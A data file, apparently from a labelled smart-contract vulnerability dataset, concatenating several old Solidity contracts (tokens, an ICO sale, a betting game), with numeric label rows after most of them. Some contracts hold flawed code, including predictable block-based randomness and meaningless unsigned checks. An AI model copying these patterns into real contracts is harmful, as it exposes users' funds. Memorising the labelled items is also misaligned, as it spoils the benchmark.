require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Token is StandardToken {
string public constant name = "SiN";
string public constant symbol = "SiN";
uint8 public constant decimals = 18;
function Token() public {
balances[msg.sender] = 1 * (10 ** 9) * (10**18);
}
} | 1 | 3,380 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Peony is Ownable {
string public version;
string public unit = "piece";
uint256 public total;
struct Bullion {
string index;
string unit;
uint256 amount;
string ipfs;
}
bytes32[] public storehouseIndex;
mapping (bytes32 => Bullion) public storehouse;
address public tokenAddress;
uint256 public rate = 10;
PeonyToken token;
function Peony(string _version) {
version = _version;
}
event Stock (
string index,
string unit,
uint256 amount,
string ipfs,
uint256 total
);
event Ship (
string index,
uint256 total
);
event Mint (
uint256 amount,
uint256 total
);
event Reduce (
uint256 amount,
uint256 total
);
function stock(string _index, string _unit, uint256 _amount, string _ipfs) onlyOwner returns (bool);
function ship(string _index) onlyOwner returns (bool);
function mint(uint256 _ptAmount) onlyOwner returns (bool);
function reduce(uint256 _tokenAmount) onlyOwner returns (bool);
function setRate(uint256 _rate) onlyOwner returns (bool);
function setTokenAddress(address _address) onlyOwner returns (bool);
function convert2Peony(uint256 _amount) constant returns (uint256);
function convert2PeonyToken(uint256 _amount) constant returns (uint256);
function info(string _index) constant returns (string, string, uint256, string);
function suicide() onlyOwner returns (bool);
}
contract PeonyToken is Ownable, ERC20 {
using SafeMath for uint256;
string public version;
string public name;
string public symbol;
uint256 public decimals;
address public peony;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public totalSupplyLimit;
mapping(address => uint256) public transferLimits;
function PeonyToken(
string _version,
uint256 initialSupply,
uint256 totalSupplyLimit_,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
require(totalSupplyLimit_ == 0 || totalSupplyLimit_ >= initialSupply);
version = _version;
balances[msg.sender] = initialSupply;
totalSupply = initialSupply;
totalSupplyLimit = totalSupplyLimit_;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
modifier isPeonyContract() {
require(peony != 0x0);
require(msg.sender == peony);
_;
}
modifier isOwnerOrPeonyContract() {
require(msg.sender != address(0) && (msg.sender == peony || msg.sender == owner));
_;
}
function produce(uint256 amount) isPeonyContract returns (bool) {
require(totalSupplyLimit == 0 || totalSupply.add(amount) <= totalSupplyLimit);
balances[owner] = balances[owner].add(amount);
totalSupply = totalSupply.add(amount);
return true;
}
function reduce(uint256 amount) isPeonyContract returns (bool) {
require(balances[owner].sub(amount) >= 0);
require(totalSupply.sub(amount) >= 0);
balances[owner] = balances[owner].sub(amount);
totalSupply = totalSupply.sub(amount);
return true;
}
function setPeonyAddress(address _address) onlyOwner returns (bool) {
require(_address != 0x0);
peony = _address;
return true;
}
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
require(transferLimits[msg.sender] == 0 || transferLimits[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function setTransferLimit(uint256 transferLimit) returns (bool) {
transferLimits[msg.sender] = transferLimit;
}
function suicide() onlyOwner returns (bool) {
selfdestruct(owner);
return true;
}
}
library ConvertStringByte {
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function stringToBytes32(string memory source) returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,676 |
pragma solidity ^0.4.23;
contract iNovaStaking {
function balanceOf(address _owner) public view returns (uint256);
}
contract iNovaGame {
function isAdminForGame(uint _game, address account) external view returns(bool);
uint[] public games;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub fail");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "add fail");
return c;
}
}
contract NovaGameAccess is iNovaGame {
using SafeMath for uint256;
event AdminPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin);
event OperatorPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin);
mapping(uint => address[]) public adminAddressesByGameId;
mapping(address => uint[]) public gameIdsByAdminAddress;
mapping(uint => mapping(address => bool)) public gameAdmins;
iNovaStaking public stakingContract;
modifier onlyGameAdmin(uint _game) {
require(gameAdmins[_game][msg.sender]);
_;
}
constructor(address _stakingContract)
public
{
stakingContract = iNovaStaking(_stakingContract);
}
function isAdminForGame(uint _game, address _account)
external
view
returns(bool) {
return gameAdmins[_game][_account];
}
function getAdminsForGame(uint _game)
external
view
returns(address[]) {
return adminAddressesByGameId[_game];
}
function getGamesForAdmin(address _account)
external
view
returns(uint[]) {
return gameIdsByAdminAddress[_account];
}
function addAdminAccount(uint _game, address _account)
external
onlyGameAdmin(_game)
{
require(_account != msg.sender);
require(_account != address(0));
require(!gameAdmins[_game][_account]);
_addAdminAccount(_game, _account);
}
function removeAdminAccount(uint _game, address _account)
external
onlyGameAdmin(_game)
{
require(_account != msg.sender);
require(gameAdmins[_game][_account]);
address[] storage opsAddresses = adminAddressesByGameId[_game];
uint startingLength = opsAddresses.length;
for (uint i = opsAddresses.length - 1; i < startingLength; i--) {
if (opsAddresses[i] == _account) {
uint newLength = opsAddresses.length.sub(1);
opsAddresses[i] = opsAddresses[newLength];
delete opsAddresses[newLength];
opsAddresses.length = newLength;
}
}
uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account];
startingLength = gamesByAdmin.length;
for (i = gamesByAdmin.length - 1; i < startingLength; i--) {
if (gamesByAdmin[i] == _game) {
newLength = gamesByAdmin.length.sub(1);
gamesByAdmin[i] = gamesByAdmin[newLength];
delete gamesByAdmin[newLength];
gamesByAdmin.length = newLength;
}
}
gameAdmins[_game][_account] = false;
emit AdminPrivilegesChanged(_game, _account, false);
}
function setOperatorPrivileges(uint _game, address _account, bool _isOperator)
external
onlyGameAdmin(_game)
{
emit OperatorPrivilegesChanged(_game, _account, _isOperator);
}
function _addAdminAccount(uint _game, address _account)
internal
{
address[] storage opsAddresses = adminAddressesByGameId[_game];
require(opsAddresses.length < 256, "a game can only have 256 admins");
for (uint i = opsAddresses.length; i < opsAddresses.length; i--) {
require(opsAddresses[i] != _account);
}
uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account];
require(gamesByAdmin.length < 256, "you can only own 256 games");
for (i = gamesByAdmin.length; i < gamesByAdmin.length; i--) {
require(gamesByAdmin[i] != _game, "you can't become an operator twice");
}
gamesByAdmin.push(_game);
opsAddresses.push(_account);
gameAdmins[_game][_account] = true;
emit AdminPrivilegesChanged(_game, _account, true);
}
}
contract NovaGame is NovaGameAccess {
struct GameData {
string json;
uint tradeLockSeconds;
bytes32[] metadata;
}
event GameCreated(uint indexed game, address indexed owner, string json, bytes32[] metadata);
event GameMetadataUpdated(
uint indexed game,
string json,
uint tradeLockSeconds,
bytes32[] metadata
);
mapping(uint => GameData) internal gameData;
constructor(address _stakingContract)
public
NovaGameAccess(_stakingContract)
{
games.push(2**32);
}
function createGame(string _json, uint _tradeLockSeconds, bytes32[] _metadata)
external
returns(uint _game) {
_game = games.length;
require(_game < games[0], "too many games created");
games.push(_game);
emit GameCreated(_game, msg.sender, _json, _metadata);
_addAdminAccount(_game, msg.sender);
updateGameMetadata(_game, _json, _tradeLockSeconds, _metadata);
}
function numberOfGames()
external
view
returns(uint) {
return games.length;
}
function getGameData(uint _game)
external
view
returns(uint game,
string json,
uint tradeLockSeconds,
uint256 balance,
bytes32[] metadata)
{
GameData storage data = gameData[_game];
game = _game;
json = data.json;
tradeLockSeconds = data.tradeLockSeconds;
balance = stakingContract.balanceOf(address(_game));
metadata = data.metadata;
}
function updateGameMetadata(uint _game, string _json, uint _tradeLockSeconds, bytes32[] _metadata)
public
onlyGameAdmin(_game)
{
gameData[_game].tradeLockSeconds = _tradeLockSeconds;
gameData[_game].json = _json;
bytes32[] storage data = gameData[_game].metadata;
if (_metadata.length > data.length) { data.length = _metadata.length; }
for (uint k = 0; k < _metadata.length; k++) { data[k] = _metadata[k]; }
for (k; k < data.length; k++) { delete data[k]; }
if (_metadata.length < data.length) { data.length = _metadata.length; }
emit GameMetadataUpdated(_game, _json, _tradeLockSeconds, _metadata);
}
} | 1 | 4,586 |
pragma solidity ^0.4.18;
contract Token {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract CashPokerProICO is Ownable, Pausable {
using SafeMath for uint;
address public tokenWallet = 0x774d91ac35f4e2f94f0e821a03c6eaff8ad4c138;
uint public tokensSold;
uint public weiRaised;
mapping (address => uint256) public holdTokens;
mapping (address => uint256) public purchaseTokens;
address[] public holdTokenInvestors;
Token public token = Token(0xA8F93FAee440644F89059a2c88bdC9BF3Be5e2ea);
uint public constant minInvest = 0.01 ether;
uint public constant tokensLimit = 60000000 ether;
uint256 public startTime = 1509040800;
uint256 public endTime = 1511719200;
uint public price = 0.0018 ether;
bool public isHoldTokens = true;
uint public investorCount;
mapping (bytes32 => Promo) public promoMap;
struct Promo {
bool enable;
uint investorPercentToken;
address dealer;
uint dealerPercentToken;
uint dealerPercentETH;
uint buyCount;
uint investorTokenAmount;
uint dealerTokenAmount;
uint investorEthAmount;
uint dealerEthAmount;
}
function addPromo(bytes32 promoPublicKey, uint userPercentToken, address dealer, uint dealerPercentToken, uint dealerPercentETH) public onlyOwner {
promoMap[promoPublicKey] = Promo(true, userPercentToken, dealer, dealerPercentToken, dealerPercentETH, 0, 0, 0, 0, 0);
}
function removePromo(bytes32 promoPublicKey) public onlyOwner {
promoMap[promoPublicKey].enable = false;
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function() public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public whenNotPaused payable {
require(startTime <= now && now <= endTime);
uint weiAmount = msg.value;
require(weiAmount >= minInvest);
uint tokenAmountEnable = tokensLimit.sub(tokensSold);
require(tokenAmountEnable > 0);
uint tokenAmount = weiAmount / price * 1 ether;
if (tokenAmount > tokenAmountEnable) {
tokenAmount = tokenAmountEnable;
weiAmount = tokenAmount * price / 1 ether;
msg.sender.transfer(msg.value.sub(weiAmount));
if (msg.data.length > 0) {
Promo storage promo = promoMap[sha3(msg.data)];
if (promo.enable && promo.dealerPercentETH > 0) {
uint dealerEthAmount = weiAmount * promo.dealerPercentETH / 10000;
promo.dealer.transfer(dealerEthAmount);
weiAmount = weiAmount.sub(dealerEthAmount);
promo.dealerEthAmount += dealerEthAmount;
}
}
}
else {
uint countBonusAmount = tokenAmount * getCountBonus(weiAmount) / 1000;
uint timeBonusAmount = tokenAmount * getTimeBonus(now) / 1000;
if (msg.data.length > 0) {
bytes32 promoPublicKey = sha3(msg.data);
promo = promoMap[promoPublicKey];
if (promo.enable) {
promo.buyCount++;
promo.investorTokenAmount += tokenAmount;
promo.investorEthAmount += weiAmount;
if (promo.dealerPercentToken > 0) {
uint dealerTokenAmount = tokenAmount * promo.dealerPercentToken / 10000;
sendTokens(promo.dealer, dealerTokenAmount);
promo.dealerTokenAmount += dealerTokenAmount;
}
if (promo.dealerPercentETH > 0) {
dealerEthAmount = weiAmount * promo.dealerPercentETH / 10000;
promo.dealer.transfer(dealerEthAmount);
weiAmount = weiAmount.sub(dealerEthAmount);
promo.dealerEthAmount += dealerEthAmount;
}
if (promo.investorPercentToken > 0) {
uint promoBonusAmount = tokenAmount * promo.investorPercentToken / 10000;
tokenAmount += promoBonusAmount;
}
}
}
tokenAmount += countBonusAmount + timeBonusAmount;
if (tokenAmount > tokenAmountEnable) {
tokenAmount = tokenAmountEnable;
}
}
if (purchaseTokens[beneficiary] == 0) investorCount++;
purchaseTokens[beneficiary] = purchaseTokens[beneficiary].add(tokenAmount);
sendTokens(beneficiary, tokenAmount);
weiRaised = weiRaised.add(weiAmount);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);
}
function sendTokens(address to, uint tokenAmount) private {
if (isHoldTokens) {
if (holdTokens[to] == 0) holdTokenInvestors.push(to);
holdTokens[to] = holdTokens[to].add(tokenAmount);
}
else {
require(token.transferFrom(tokenWallet, to, tokenAmount));
}
tokensSold = tokensSold.add(tokenAmount);
}
uint[] etherForCountBonus = [2 ether, 3 ether, 5 ether, 7 ether, 9 ether, 12 ether, 15 ether, 20 ether, 25 ether, 30 ether, 35 ether, 40 ether, 45 ether, 50 ether, 60 ether, 70 ether, 80 ether, 90 ether, 100 ether, 120 ether, 150 ether, 200 ether, 250 ether, 300 ether, 350 ether, 400 ether, 450 ether, 500 ether];
uint[] amountForCountBonus = [0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 90, 100, 105, 110, 115, 120, 125, 130, 135, 140, 145, 150];
function getCountBonus(uint weiAmount) public constant returns (uint) {
for (uint i = 0; i < etherForCountBonus.length; i++) {
if (weiAmount < etherForCountBonus[i]) return amountForCountBonus[i];
}
return amountForCountBonus[amountForCountBonus.length - 1];
}
function getTimeBonus(uint time) public constant returns (uint) {
if (time < startTime + 1 weeks) return 30;
if (time < startTime + 2 weeks) return 20;
if (time < startTime + 3 weeks) return 10;
return 0;
}
function withdrawal(address to) public onlyOwner {
to.transfer(this.balance);
}
function holdTokenInvestorsCount() public constant returns(uint){
return holdTokenInvestors.length;
}
uint public sendInvestorIndex = 0;
function finalSendTokens() public onlyOwner {
isHoldTokens = false;
for (uint i = sendInvestorIndex; i < holdTokenInvestors.length; i++) {
address investor = holdTokenInvestors[i];
uint tokenAmount = holdTokens[investor];
if (tokenAmount > 0) {
holdTokens[investor] = 0;
require(token.transferFrom(tokenWallet, investor, tokenAmount));
}
if (msg.gas < 100000) {
sendInvestorIndex = i;
return;
}
}
sendInvestorIndex = holdTokenInvestors.length;
}
} | 0 | 1,607 |
pragma solidity ^0.4.25;
contract Conquest {
event onHiveCreated (
address indexed player,
uint256 number,
uint256 time
);
event onDroneCreated (
address indexed player,
uint256 number,
uint256 time
);
event onEnemyDestroyed (
address indexed player,
uint256 time
);
modifier onlyAdministrator() {
address _customerAddress = msg.sender;
require(administrator_ == _customerAddress);
_;
}
uint256 internal ACTIVATION_TIME = 1544988600;
bool internal contractActivated_ = true;
bool internal payedOut_ = false;
uint256 internal hiveCost_ = 0.075 ether;
uint256 internal droneCost_ = 0.01 ether;
uint256 internal hiveXCommanderFee_ = 50;
uint256 internal droneXCommanderFee_ = 15;
uint256 internal droneXHiveFee_ = 415;
uint8 internal amountHives_ = 8;
uint8 internal dronesPerDay_ = 20;
bool internal conquesting_ = true;
bool internal conquested_ = false;
address internal administrator_;
address internal fundTHCAddress_;
address internal fundP3DAddress_;
uint256 internal pot_;
mapping (address => Pilot) internal pilots_;
address internal commander_;
address[] internal hives_;
address[] internal drones_;
uint256 internal dronePopulation_;
constructor()
public
{
commander_ = address(this);
administrator_ = 0x28436C7453EbA01c6EcbC8a9cAa975f0ADE6Fff1;
fundTHCAddress_ = 0x9674D14AF3EE5dDcD59D3bdcA7435E11bA0ced18;
fundP3DAddress_ = 0xC0c001140319C5f114F8467295b1F22F86929Ad0;
}
function startNewRound()
public
{
require(!conquesting_);
if (!payedOut_) {
_payout();
}
_resetGame();
}
function withdrawVault()
public
{
address _player = msg.sender;
uint256 _balance = pilots_[_player].vault;
require(_balance > 0);
pilots_[_player].vault = 0;
_player.transfer(_balance);
}
function createCarrierFromVault()
public
{
address _player = msg.sender;
uint256 _vault = pilots_[_player].vault;
require(_vault >= hiveCost_);
pilots_[_player].vault = _vault - hiveCost_;
_createHiveInternal(_player);
}
function createDroneFromVault()
public
{
address _player = msg.sender;
uint256 _vault = pilots_[_player].vault;
require(_vault >= droneCost_);
pilots_[_player].vault = _vault - droneCost_;
_createDroneInternal(_player);
}
function createCarrier()
public
payable
{
address _player = msg.sender;
require(msg.value == hiveCost_);
_createHiveInternal(_player);
}
function createDrone()
public
payable
{
address _player = msg.sender;
require(msg.value == droneCost_);
_createDroneInternal(_player);
}
function openAt()
public
view
returns(uint256)
{
return ACTIVATION_TIME;
}
function getHives()
public
view
returns(address[])
{
return hives_;
}
function getDrones()
public
view
returns(address[])
{
return drones_;
}
function commander()
public
view
returns(address)
{
return commander_;
}
function conquesting()
public
view
returns(bool)
{
return conquesting_;
}
function getCommanderPot()
public
view
returns(uint256)
{
uint256 _hivesIncome = hives_.length * hiveCost_;
uint256 _dronesIncome = drones_.length * droneCost_;
uint256 _pot = pot_ + _hivesIncome + _dronesIncome;
uint256 _fee = _pot / 10;
_pot = _pot - _fee;
_hivesIncome = (_hivesIncome * 9) / 10;
_dronesIncome = (_dronesIncome * 9) / 10;
uint256 _toCommander = (_hivesIncome * hiveXCommanderFee_) / 100 +
(_dronesIncome * droneXCommanderFee_) / 100;
return _toCommander;
}
function getHivePot()
public
view
returns(uint256)
{
uint256 _hivesIncome = hives_.length * hiveCost_;
uint256 _dronesIncome = drones_.length * droneCost_;
uint256 _pot = pot_ + _hivesIncome + _dronesIncome;
uint256 _fee = _pot / 10;
_pot = _pot - _fee;
_hivesIncome = (_hivesIncome * 9) / 10;
_dronesIncome = (_dronesIncome * 9) / 10;
uint256 _toHives = (_dronesIncome * droneXHiveFee_) / 1000;
return _toHives;
}
function getDronePot()
public
view
returns(uint256)
{
uint256 _hivesIncome = hives_.length * hiveCost_;
uint256 _dronesIncome = drones_.length * droneCost_;
uint256 _pot = pot_ + _hivesIncome + _dronesIncome;
uint256 _fee = _pot / 10;
_pot = _pot - _fee;
_hivesIncome = (_hivesIncome * 9) / 10;
_dronesIncome = (_dronesIncome * 9) / 10;
uint256 _toCommander = (_hivesIncome * hiveXCommanderFee_) / 100 +
(_dronesIncome * droneXCommanderFee_) / 100;
uint256 _toHives = (_dronesIncome * droneXHiveFee_) / 1000;
uint256 _toDrones = _pot - _toHives - _toCommander;
return _toDrones;
}
function vaultOf(address _player)
public
view
returns(uint256)
{
return pilots_[_player].vault;
}
function lastFlight(address _player)
public
view
returns(uint256)
{
return pilots_[_player].lastFlight;
}
function setGameStatus(bool _active)
onlyAdministrator()
public
{
contractActivated_ = _active;
}
function _createDroneInternal(address _player)
internal
{
require(hives_.length == amountHives_);
require(conquesting_);
require(now > pilots_[_player].lastFlight + 60 seconds);
drones_.push(_player);
pilots_[_player].lastFlight = now;
emit onDroneCreated(_player, drones_.length, now);
_figthEnemy(_player);
}
function _createHiveInternal(address _player)
internal
{
require(now >= ACTIVATION_TIME);
require(hives_.length < amountHives_);
require(!ownsHive(_player), "Player already owns a hive");
hives_.push(_player);
emit onHiveCreated(_player, hives_.length, now);
}
function _figthEnemy(address _player)
internal
{
uint256 _drones = drones_.length;
uint256 _drone = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, _player, _drones))) % 289;
if (_drone == 42) {
conquesting_ = false;
conquested_ = true;
emit onEnemyDestroyed(_player, now);
}
}
function _payout()
internal
{
uint256 _hivesIncome = amountHives_ * hiveCost_;
uint256 _dronesIncome = drones_.length * droneCost_;
uint256 _pot = pot_ + _hivesIncome + _dronesIncome;
uint256 _fee = _pot / 10;
_pot = _pot - _fee;
_hivesIncome = (_hivesIncome * 9) / 10;
_dronesIncome = (_dronesIncome * 9) / 10;
uint256 _toCommander = (_hivesIncome * hiveXCommanderFee_) / 100 +
(_dronesIncome * droneXCommanderFee_) / 100;
uint256 _toHives = (_dronesIncome * droneXHiveFee_) / 1000;
uint256 _toHive = _toHives / 8;
uint256 _toDrones = _pot - _toHives - _toCommander;
if (conquested_) {
for (uint8 i = 0; i < 8; i++) {
address _ownerHive = hives_[i];
pilots_[_ownerHive].vault = pilots_[_ownerHive].vault + _toHive;
_pot = _pot - _toHive;
}
uint256 _squadSize;
if (drones_.length >= 4) { _squadSize = 4; }
else { _squadSize = drones_.length; }
for (uint256 j = (drones_.length - _squadSize); j < drones_.length; j++) {
address _ownerDrone = drones_[j];
pilots_[_ownerDrone].vault = pilots_[_ownerDrone].vault + (_toDrones / _squadSize);
_pot = _pot - (_toDrones / _squadSize);
}
}
if (commander_ != address(this)) {
pilots_[commander_].vault = pilots_[commander_].vault + _toCommander;
_pot = _pot - _toCommander;
}
fundTHCAddress_.transfer(_fee / 2);
fundP3DAddress_.transfer(_fee / 2);
pot_ = _pot;
payedOut_ = true;
}
function _resetGame()
internal
{
if (contractActivated_) {
address _winner = drones_[drones_.length - 1];
commander_ = _winner;
hives_.length = 0;
drones_.length = 0;
dronePopulation_ = 0;
conquesting_ = true;
conquested_ = false;
payedOut_ = false;
ACTIVATION_TIME = now + 5 minutes;
}
}
function ownsHive(address _player)
internal
view
returns(bool)
{
for (uint8 i = 0; i < hives_.length; i++) {
if (hives_[i] == _player) {
return true;
}
}
return false;
}
struct Pilot {
uint256 vault;
uint256 lastFlight;
}
} | 1 | 3,610 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract IDeployer is Ownable {
function deploy(bytes data) external returns(address mtkn);
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library CheckedERC20 {
using SafeMath for uint;
function checkedTransfer(ERC20 _token, address _to, uint256 _value) internal {
if (_value == 0) {
return;
}
uint256 balance = _token.balanceOf(this);
_token.transfer(_to, _value);
require(_token.balanceOf(this) == balance.sub(_value), "checkedTransfer: Final balance didn't match");
}
function checkedTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) internal {
if (_value == 0) {
return;
}
uint256 toBalance = _token.balanceOf(_to);
_token.transferFrom(_from, _to, _value);
require(_token.balanceOf(_to) == toBalance.add(_value), "checkedTransfer: Final balance didn't match");
}
}
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint256 _index) public view returns(ERC20);
function allTokens() public view returns(ERC20[]);
function allDecimals() public view returns(uint8[]);
function allBalances() public view returns(uint256[]);
function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
}
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function allWeights() public view returns(uint256[] _weights);
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
